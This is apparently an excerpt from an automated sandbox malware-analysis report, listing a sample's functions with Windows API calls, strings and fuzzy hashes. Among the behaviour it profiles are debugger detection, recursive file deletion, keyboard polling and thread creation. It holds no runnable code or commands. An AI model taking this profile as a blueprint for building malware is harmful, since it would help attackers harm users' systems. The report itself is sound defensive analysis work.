Opcode Fuzzy Hash: c10fe2623213f26a604cb30112e900d5acca478250b59268a5f20ae2fd1e4891
Instruction Fuzzy Hash: 59E0127444811097DA2CABB0DD89AA97334FB46326F104B7BF225601F0C639D8C48B1D

Function 00401A8C Relevance: 3.0, APIs: 2, Instructions: 16
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 00401C35
ExitProcess.KERNEL32(00000000), ref: 00401C3D

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Wow64$DisableExitProcessRedirection
String ID:
API String ID: 3835450656-0
Opcode ID: 974eadbcea44a21995540378ed3c8b3d6bbab80263cfff2f25aee7855fb1c44f
Instruction ID: a833c8687c560b03d1da3dd21e147f64b3a6ec987c87aaf55bb09993553c3c6f
Opcode Fuzzy Hash: 974eadbcea44a21995540378ed3c8b3d6bbab80263cfff2f25aee7855fb1c44f
Instruction Fuzzy Hash: 59E0127444811097DA2CABB0DD89AA97334FB46326F104B7BF225601F0C639D8C48B1D

Function 00401B0B Relevance: 3.0, APIs: 2, Instructions: 16COMMON

Download Yara Rule

APIs

Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 00401C35
ExitProcess.KERNEL32(00000000), ref: 00401C3D

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Wow64$DisableExitProcessRedirection
String ID:
API String ID: 3835450656-0
Opcode ID: 04e9c374a8f3f31d335a5705728d381ed82ce052ebd02ed657c38af5408640fb
Instruction ID: a833c8687c560b03d1da3dd21e147f64b3a6ec987c87aaf55bb09993553c3c6f
Opcode Fuzzy Hash: 04e9c374a8f3f31d335a5705728d381ed82ce052ebd02ed657c38af5408640fb
Instruction Fuzzy Hash: 59E0127444811097DA2CABB0DD89AA97334FB46326F104B7BF225601F0C639D8C48B1D

Function 00401B2D Relevance: 3.0, APIs: 2, Instructions: 16COMMON

Download Yara Rule

APIs

Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 00401C35
ExitProcess.KERNEL32(00000000), ref: 00401C3D

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Wow64$DisableExitProcessRedirection
String ID:
API String ID: 3835450656-0
Opcode ID: 3cbb4a3e08bbc584f3317af269305acf80d860c60903eaee8eb92d9b2fa1221d
Instruction ID: a833c8687c560b03d1da3dd21e147f64b3a6ec987c87aaf55bb09993553c3c6f
Opcode Fuzzy Hash: 3cbb4a3e08bbc584f3317af269305acf80d860c60903eaee8eb92d9b2fa1221d
Instruction Fuzzy Hash: 59E0127444811097DA2CABB0DD89AA97334FB46326F104B7BF225601F0C639D8C48B1D

Function 004002AC Relevance: 2.5, APIs: 1, Instructions: 1019synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00419140: LoadLibraryW.KERNEL32(NTDLL.DLL), ref: 0041914E

ExitProcess.KERNEL32 ref: 0040103B
_memset.LIBCMT ref: 00401058
Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 004010A0
CreateMutexW.KERNELBASE(0000000C,00000000,0047B18C), ref: 004010D2
OpenEventW.KERNEL32(00100002,00000000,004797F4), ref: 00401116
ExitProcess.KERNEL32 ref: 00401197

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: ExitProcessWow64$CreateDisableEventLibraryLoadMutexOpenRedirection_memset
String ID:
API String ID: 2030883397-0
Opcode ID: 7bbfeb0b8c1a50f57962939504400496336a30acb12e84be92efcac8acad4660
Instruction ID: a26e70dcc84e3b937f3fed492939267a4b6412feebe7921106151685511d26c9
Opcode Fuzzy Hash: 7bbfeb0b8c1a50f57962939504400496336a30acb12e84be92efcac8acad4660
Instruction Fuzzy Hash: B0E086F49683C05FD201AF71BD556413B347F11281F440075D4D58B5B2D239A6C59759

Function 00406080 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 004060E7

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 4a78252a3d50c4f49edb000d43e48ae1fde89e471823e3d2fdb448f0ac22ba3b
Instruction ID: 57871f08ca78a2d2cb45435a79d1a0d85353595e702abf4ec90e96327f8cbcb3
Opcode Fuzzy Hash: 4a78252a3d50c4f49edb000d43e48ae1fde89e471823e3d2fdb448f0ac22ba3b
Instruction Fuzzy Hash: 5F21E9B0924209AFDB04DFA4D841BAF77F5FB48314F00817EE509E7291E7745A98CB99

Function 004058C5 Relevance: 1.5, APIs: 1, Instructions: 43threadCOMMON

Download Yara Rule

APIs

RtlCreateUserThread.NTDLL ref: 00405906

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CreateThreadUser
String ID:
API String ID: 1531140918-0
Opcode ID: 9d825d32468024121c3756d526faa31a86c33974238a552c6b200037977dcc1c
Instruction ID: 81813d2535c41125071dfe0462ffbd7027fcf53a36177536da3d9b1b825c0a0e
Opcode Fuzzy Hash: 9d825d32468024121c3756d526faa31a86c33974238a552c6b200037977dcc1c
Instruction Fuzzy Hash: 39F04F31918D1D9FCF15BB68D805DAEBBB1FB54310F100616E405F3184DA31E4218F85

Non-executed Functions

Function 00417D70 Relevance: 60.0, APIs: 33, Strings: 1, Instructions: 529threadsynchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 00417E07
CloseHandle.KERNEL32(?), ref: 00417E39
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00417E57
CreateThread.KERNEL32(00000000,00000000,?,-0047C9B0,00000004,00000000), ref: 00417E8C
ResumeThread.KERNEL32(00000000), ref: 00417ECC
CloseHandle.KERNEL32(00000000), ref: 00417EE5
CloseHandle.KERNEL32(00000000), ref: 00417EEF
WaitForSingleObject.KERNEL32(?,00000000), ref: 00417F39
CloseHandle.KERNEL32(?), ref: 00417F71
CloseHandle.KERNEL32(?), ref: 00417FA3
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00417FC1
CreateThread.KERNEL32(00000000,00000000,?,-0047C9B0,00000004,00000000), ref: 00417FF5
ResumeThread.KERNEL32(00000000), ref: 00418035
___crtGetLocaleInfoEx.LIBCMTD ref: 004181C7

Strings

d, xrefs: 0041827F

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateThread$EventResume$InfoLocaleObjectSingleWait___crt
String ID: d
API String ID: 3049167170-2564639436
Opcode ID: 2f041d12a087f10d211d8f111ce1b92c028ea9d059dddc6fbca995de52eac04e
Instruction ID: ec46aa64586cefb44bc121c17000e6170b7d0ff1991cb480dba2527a1796f028
Opcode Fuzzy Hash: 2f041d12a087f10d211d8f111ce1b92c028ea9d059dddc6fbca995de52eac04e
Instruction Fuzzy Hash: 573243B1A04109DFDB18CF94C888BEEBBB1FB44304F14856EE615AB3D1DB799885CB58

Function 00422100 Relevance: 58.9, APIs: 39, Instructions: 351synchronizationCOMMON

Download Yara Rule

APIs

OpenEventW.KERNEL32(00100000,00000000,004797F4), ref: 00422112
OpenMutexW.KERNEL32(00100000,00000000,00479842), ref: 00422141
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 004221BA
CloseHandle.KERNEL32(?), ref: 00422604
ReleaseMutex.KERNEL32(00000000), ref: 0042261E
CloseHandle.KERNEL32(00000000), ref: 00422628
CloseHandle.KERNEL32(00000000), ref: 00422638
CloseHandle.KERNEL32(00000000), ref: 00422642

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventMutexOpen$CreateRelease
String ID:
API String ID: 3541121777-0
Opcode ID: e6e5146e5d674d16ba72c7733c1277cd3e0aff2f925dd94ed7c9b805ca73fbfa
Instruction ID: 4b62354427e36294d1d22f0316a9effc27a50df354362d9b8fbe57eabd4b792d
Opcode Fuzzy Hash: e6e5146e5d674d16ba72c7733c1277cd3e0aff2f925dd94ed7c9b805ca73fbfa
Instruction Fuzzy Hash: 37E14D70B00214FFDB149FA4EE4DBAE7771BB48315F50852AE605A62E0C7F859C8CB59

Function 0041DB70 Relevance: 35.1, APIs: 17, Strings: 3, Instructions: 144memoryfilestringCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 0041DB85
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0041DB9D
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0041DBD2
FindFirstFileW.KERNEL32(00000000,?), ref: 0041DBF0
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0041DC0F
lstrcmpW.KERNEL32(?,0043969C), ref: 0041DC2D
lstrcmpW.KERNEL32(?,004396A0), ref: 0041DC43
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0041DC68
RemoveDirectoryW.KERNEL32(?), ref: 0041DCC4
GetLastError.KERNEL32 ref: 0041DCD6
LocalFree.KERNEL32(?), ref: 0041DCE8
DeleteFileW.KERNEL32(00000000), ref: 0041DD16
FindNextFileW.KERNEL32(000000FF,?), ref: 0041DD27
FindClose.KERNEL32(000000FF), ref: 0041DD39
GetLastError.KERNEL32 ref: 0041DD49
LocalFree.KERNEL32(00000000), ref: 0041DD58
LocalFree.KERNEL32(00000000), ref: 0041DD62

Strings

%s*.*, xrefs: 0041DBB4
%s%s\, xrefs: 0041DC88
%s%s, xrefs: 0041DCFB

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Local$AllocFileFindFree$ErrorLastObjectSingleWaitlstrcmp$CloseDeleteDirectoryFirstNextRemove
String ID: %s%s$%s%s\$%s*.*
API String ID: 1956538834-784047915
Opcode ID: a56bc324d6591ed3f6a020122f8c3eb6f4a1c5023e6feb158143234c9c72617f
Instruction ID: a8785c28ed827b9a64c5c1a3895a20f9f256fbcf8a37a1f4dbc80d81155661f4
Opcode Fuzzy Hash: a56bc324d6591ed3f6a020122f8c3eb6f4a1c5023e6feb158143234c9c72617f
Instruction Fuzzy Hash: D5517FB5A04209EBCB14EFA4DD8DBEA7779FF48301F1045A9F60997290D778A980CF58

Function 00420AB0 Relevance: 25.7, APIs: 17, Instructions: 168memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000000), ref: 00420AE8
und_memcpy.LIBCMTD ref: 00420B0D
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00420B1D
wsprintfW.USER32 ref: 00420B59
GetForegroundWindow.USER32(?), ref: 00420B72
SetWindowTextW.USER32(00000000), ref: 00420B79
LocalFree.KERNEL32(00000000), ref: 00420BD3
CloseHandle.KERNEL32(00000000), ref: 00420BDD
LocalFree.KERNEL32(00000000), ref: 00420C0A
CloseHandle.KERNEL32(00000000), ref: 00420C14
___crtGetLocaleInfoEx.LIBCMTD ref: 00420C3A
LocalFree.KERNEL32(00000000), ref: 00420C59
CloseHandle.KERNEL32(00000000), ref: 00420C63
CloseHandle.KERNEL32(00000000), ref: 00420CC5
LocalFree.KERNEL32(00000000), ref: 00420CCF

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Local$CloseFreeHandle$Window$AllocCreateEventForegroundInfoLocaleText___crtund_memcpywsprintf
String ID:
API String ID: 1168742068-0
Opcode ID: a9665ef2fd3f3a9d1704eee2cfc6d8e8ab9175ce289b116dd73683be853bcc80
Instruction ID: dd28a540914ffa5139adb5b01d37b93b9a8ff240ad12196941be41d739b6b553
Opcode Fuzzy Hash: a9665ef2fd3f3a9d1704eee2cfc6d8e8ab9175ce289b116dd73683be853bcc80
Instruction Fuzzy Hash: 94714FB4A04209EFCB14DF94E948BEEBBB4FF48305F108659EA15A7381C778AA45CF54

Function 004208A0 Relevance: 24.2, APIs: 16, Instructions: 162memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000000), ref: 004208D5
und_memcpy.LIBCMTD ref: 004208FA
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0042090A
LocalFree.KERNEL32(00000000), ref: 00420977
CloseHandle.KERNEL32(00000000), ref: 00420981
LocalFree.KERNEL32(00000000), ref: 004209A6
CloseHandle.KERNEL32(00000000), ref: 004209B0
CloseHandle.KERNEL32(00000000), ref: 00420A98
LocalFree.KERNEL32(00000000), ref: 00420AA2

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Local$CloseFreeHandle$AllocCreateEventund_memcpy
String ID:
API String ID: 1832378476-0
Opcode ID: c0437896914665ae833224e6cf5b13284bd79414798874605a2f9944287931af
Instruction ID: 238fbec80c250b7923099f22145295008854e0298cd58d4bd81cb5720764c8b3
Opcode Fuzzy Hash: c0437896914665ae833224e6cf5b13284bd79414798874605a2f9944287931af
Instruction Fuzzy Hash: 81614D74A00209EFCB14CFA4D949BEEBBB4FF48304F508159EA15A7381C738AA45CF94

Function 00420CE0 Relevance: 21.2, APIs: 14, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000000), ref: 00420D15
und_memcpy.LIBCMTD ref: 00420D3A
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00420D4A
LocalFree.KERNEL32(00000000), ref: 00420DB7
CloseHandle.KERNEL32(00000000), ref: 00420DC1
LocalFree.KERNEL32(00000000), ref: 00420DE6
CloseHandle.KERNEL32(00000000), ref: 00420DF0
CloseHandle.KERNEL32(00000000), ref: 00420EBD
LocalFree.KERNEL32(00000000), ref: 00420EC7

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Local$CloseFreeHandle$AllocCreateEventund_memcpy
String ID:
API String ID: 1832378476-0
Opcode ID: 72de49ab070d0855317d2ae24b32e4c164f03b9f9af2a54e41da1b4bb19c17a5
Instruction ID: 84c965324fae4c90f16cd7a5d024afcab81d1cdef434bd8de29a62c46187d57c
Opcode Fuzzy Hash: 72de49ab070d0855317d2ae24b32e4c164f03b9f9af2a54e41da1b4bb19c17a5
Instruction Fuzzy Hash: C2616E74A00219EFCB14DFA4E949BEEBBB5FF48304F108559EA15A7381C738A985CF94

Function 00420EE0 Relevance: 18.1, APIs: 12, Instructions: 144memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000000), ref: 00420F15
und_memcpy.LIBCMTD ref: 00420F3A
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00420F4A
LocalFree.KERNEL32(00000000), ref: 00420FC3
CloseHandle.KERNEL32(00000000), ref: 00420FCD
LocalFree.KERNEL32(00000000), ref: 00420FFA
CloseHandle.KERNEL32(00000000), ref: 00421004
___crtGetLocaleInfoEx.LIBCMTD ref: 00421026
LocalFree.KERNEL32(00000000), ref: 00421078
CloseHandle.KERNEL32(00000000), ref: 00421082
CloseHandle.KERNEL32(00000000), ref: 0042109A
LocalFree.KERNEL32(00000000), ref: 004210A4

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Local$CloseFreeHandle$AllocCreateEventInfoLocale___crtund_memcpy
String ID:
API String ID: 1193138003-0
Opcode ID: 61a4a398a4dfdbca18395684b1accd05abc16e4ff97bb353428f0b8f0145af52
Instruction ID: 51dc9425620134e15ff5e2344ba80fe2df1834fe2a4062b14902e29be8b06d81
Opcode Fuzzy Hash: 61a4a398a4dfdbca18395684b1accd05abc16e4ff97bb353428f0b8f0145af52
Instruction Fuzzy Hash: 74518274E00219EFCB14DFA4E948BAEBBB4FF48304F108159EA15A7390C778A985CF59

Function 00407280 Relevance: 16.6, APIs: 6, Strings: 3, Instructions: 840COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004072BF

Part of subcall function 00418A30: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00414506,00436450), ref: 00418A59

_memset.LIBCMT ref: 0040730A

Part of subcall function 00418A30: _memmove.LIBCMT ref: 00418A88

Strings

PT%dS, xrefs: 00407A15
PT0S, xrefs: 004077ED
default, xrefs: 0040793D

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: _memset$_memmovelstrlen
String ID: PT%dS$PT0S$default
API String ID: 3502740365-2476591505
Opcode ID: af3ac5dbcbf2901f0bfdeb678b64e62f9a825beed46d3ec4881f38901028f9dc
Instruction ID: ce44bb1052d4145eeff6889e18c016f7d7dc6c7cacb71b6e9c991632b859b78d
Opcode Fuzzy Hash: af3ac5dbcbf2901f0bfdeb678b64e62f9a825beed46d3ec4881f38901028f9dc
Instruction Fuzzy Hash: EF92F574A04619DFCB64DF14CC84B99B7B5AF88304F1082EAE50DA73A0DB35AE81CF55

Function 00421700 Relevance: 10.6, APIs: 7, Instructions: 124memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,000003F0,?,?,?,?,?,?,?,?,00421576,?), ref: 00421742
wsprintfA.USER32 ref: 00421790
___crtGetLocaleInfoEx.LIBCMTD ref: 004217D1
___crtGetLocaleInfoEx.LIBCMTD ref: 0042180A
und_memcpy.LIBCMTD ref: 0042183A
LocalFree.KERNEL32(00000000), ref: 00421846
LocalFree.KERNEL32(00000000), ref: 00421854

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Local$FreeInfoLocale___crt$Allocund_memcpywsprintf
String ID:
API String ID: 573794981-0
Opcode ID: 09e864ce7370a8d46b35f0e12868df88d5ec713e090bcc57874a64dee3c3d77e
Instruction ID: d4ee76e6c914feda94d9d877a3cccb2607968a9df67d6c93f36d2a086787deb9
Opcode Fuzzy Hash: 09e864ce7370a8d46b35f0e12868df88d5ec713e090bcc57874a64dee3c3d77e
Instruction Fuzzy Hash: BC415FB5E00219AFCB04DF94D881ABFBBB5FF98304F14854DE609A7351D635A941CBA4

Function 00421A20 Relevance: 9.2, APIs: 6, Instructions: 247COMMON

Download Yara Rule

APIs

___crtGetLocaleInfoEx.LIBCMTD ref: 00421A3D

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: InfoLocale___crt
String ID:
API String ID: 3761071962-0
Opcode ID: aee39f4793dd6efacc8bfe94317fd393fa5a05ae3d136c3ddc80eaf08b1b96b3
Instruction ID: 0f41a721227a78baec1e3b4351c12b98976e287611a93d31967cef47b8d17757
Opcode Fuzzy Hash: aee39f4793dd6efacc8bfe94317fd393fa5a05ae3d136c3ddc80eaf08b1b96b3
Instruction Fuzzy Hash: 7FB14F74A00218DFCB24CF94E994BDDBBB1FF58308F60811AE905AB394D779A986CF45

Function 00421DA0 Relevance: 9.2, APIs: 6, Instructions: 239COMMON

Download Yara Rule

APIs

___crtGetLocaleInfoEx.LIBCMTD ref: 00421DBD

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: InfoLocale___crt
String ID:
API String ID: 3761071962-0
Opcode ID: 3cd93d966e497bfb57ae1ef21dace33f0b8971bc2c1097af13e1f0d569e376ff
Instruction ID: 57d306131c6df6584980f38f22f081f6ded00a43f19351454401da55e8b5c5b4
Opcode Fuzzy Hash: 3cd93d966e497bfb57ae1ef21dace33f0b8971bc2c1097af13e1f0d569e376ff
Instruction Fuzzy Hash: 21B12F70A00218EFDB14CF84E984BAEB7B1FF58308F60815AE905A7394C7B9AD85CF45

Function 004215C0 Relevance: 9.1, APIs: 6, Instructions: 113memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,000003F0,?,?,?,?,?,?,?,0042150F,?), ref: 00421602
___crtGetLocaleInfoEx.LIBCMTD ref: 0042166D
___crtGetLocaleInfoEx.LIBCMTD ref: 004216A6
und_memcpy.LIBCMTD ref: 004216D6
LocalFree.KERNEL32(00000000), ref: 004216E2
LocalFree.KERNEL32(00000000), ref: 004216F0

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Local$FreeInfoLocale___crt$Allocund_memcpy
String ID:
API String ID: 1193788099-0
Opcode ID: 1282fa304bbfc87acd26351ccb1f38f00b7fdd73e2f2856893c1dd7c46bc59a9
Instruction ID: 5bac126bd23974c04984f3e5f5f0ee040623d58c1044a77f072663fefbf3ada1
Opcode Fuzzy Hash: 1282fa304bbfc87acd26351ccb1f38f00b7fdd73e2f2856893c1dd7c46bc59a9
Instruction Fuzzy Hash: 2C4171B4E00219AFCB04DF94D981EBFB7B5BF98300F648549E909A7342D635EA41CBA5

Function 004290CF Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0042D630
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0042D645
UnhandledExceptionFilter.KERNEL32(0043AEE0), ref: 0042D650
GetCurrentProcess.KERNEL32(C0000409), ref: 0042D66C
TerminateProcess.KERNEL32(00000000), ref: 0042D673

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 0335d1d99c6a3edca7eeeced85f5ff9b16a31f1680bcacd78d866e4256513115
Instruction ID: d859bb3f44c2e61071292196ca601b336e19eaa722fa04b4b4e3a13c6ceac289
Opcode Fuzzy Hash: 0335d1d99c6a3edca7eeeced85f5ff9b16a31f1680bcacd78d866e4256513115
Instruction Fuzzy Hash: 462102F5922308DFE784EF24F889A493BB0BB58300F50586EE80987761D7B459888F4D

Function 00413200 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140sleepkeyboardCOMMON

Download Yara Rule

APIs

GetAsyncKeyState.USER32(0000001B), ref: 004133F5

Part of subcall function 00418A30: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00414506,00436450), ref: 00418A59

Sleep.KERNEL32(000003E8), ref: 00413446

Strings

`CL`C, xrefs: 0041327A, 00413281

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: AsyncSleepStatelstrlen
String ID: `CL`C
API String ID: 1450562213-1431644962
Opcode ID: 6be960fdff3c90a2a9132d39e79fb053b5185120e176c89ef64004096ca10001
Instruction ID: 5dc7b231b24de6de9191f165a7941ff6f2d8c14447f93dc5e099c59aa51a6bfd
Opcode Fuzzy Hash: 6be960fdff3c90a2a9132d39e79fb053b5185120e176c89ef64004096ca10001
Instruction Fuzzy Hash: CF7114B0900328DBDB25DF10DD89BD9B7B0BB49309F1081EADA4D66280DB795BC9CF59

Function 00405710 Relevance: 4.5, APIs: 3, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0047F5AC,?,00411363), ref: 00405718
IsWow64Process.KERNEL32(00000000,?,00411363), ref: 0040571F
GetProcessHeap.KERNEL32(?,00411363), ref: 00405725

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Process$CurrentHeapWow64
String ID:
API String ID: 1399170734-0
Opcode ID: d496d118f09599941a26e9c733203f0a4a70c826b5b79e42def2219493e40757
Instruction ID: af7c7970e4141fd9cc10a4436380ba79c7009fbdb76590e30a28943a2f631dd8
Opcode Fuzzy Hash: d496d118f09599941a26e9c733203f0a4a70c826b5b79e42def2219493e40757
Instruction Fuzzy Hash: 60C01270612208ABC3142FA4FC0C6893EB8AB88742B101032F609C2261CA76A4908A28

Function 00420800 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

___crtGetLocaleInfoEx.LIBCMTD ref: 0042085A

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: InfoLocale___crt
String ID:
API String ID: 3761071962-0
Opcode ID: 7e220d92a5a058f8ef472217d2b8b48152e192a83d116e355737832c339dc423
Instruction ID: a4ad534ba2a4bf805be8d4b30e3cc69f12b4ab5ab6b99d98f60fd98b1426b109
Opcode Fuzzy Hash: 7e220d92a5a058f8ef472217d2b8b48152e192a83d116e355737832c339dc423
Instruction Fuzzy Hash: 4C21E8B4E00219EFCB04EF98D840AAFB7B4FB48304F50859AE924A7341D338AA51CF95

Function 00420760 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

___crtGetLocaleInfoEx.LIBCMTD ref: 004207BA

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: InfoLocale___crt
String ID:
API String ID: 3761071962-0
Opcode ID: bde5e825d952b8bc264e53f7330cbdb12c80d4a380823f7c5303a601c813b495
Instruction ID: 4cf18e1defdbbf8cddfd966b63cc91ce39fe56379c2cbf457ff4961cd6393e44
Opcode Fuzzy Hash: bde5e825d952b8bc264e53f7330cbdb12c80d4a380823f7c5303a601c813b495
Instruction Fuzzy Hash: CE21FCB4E00219EFCB04DF99D884AAEB7B5FB88304F50854AE82567341D774A951CF55

Function 00418119 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

___crtGetLocaleInfoEx.LIBCMTD ref: 004181C7

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: InfoLocale___crt
String ID:
API String ID: 3761071962-0
Opcode ID: d0c201e7539ed4772464f86f123d7755a33d59086b143951abdcbfc63277f0e0
Instruction ID: 0140c7c35a12c9d4d2f56a07fb600861de9f10bb1c8cf95726b017415bfd7771
Opcode Fuzzy Hash: d0c201e7539ed4772464f86f123d7755a33d59086b143951abdcbfc63277f0e0
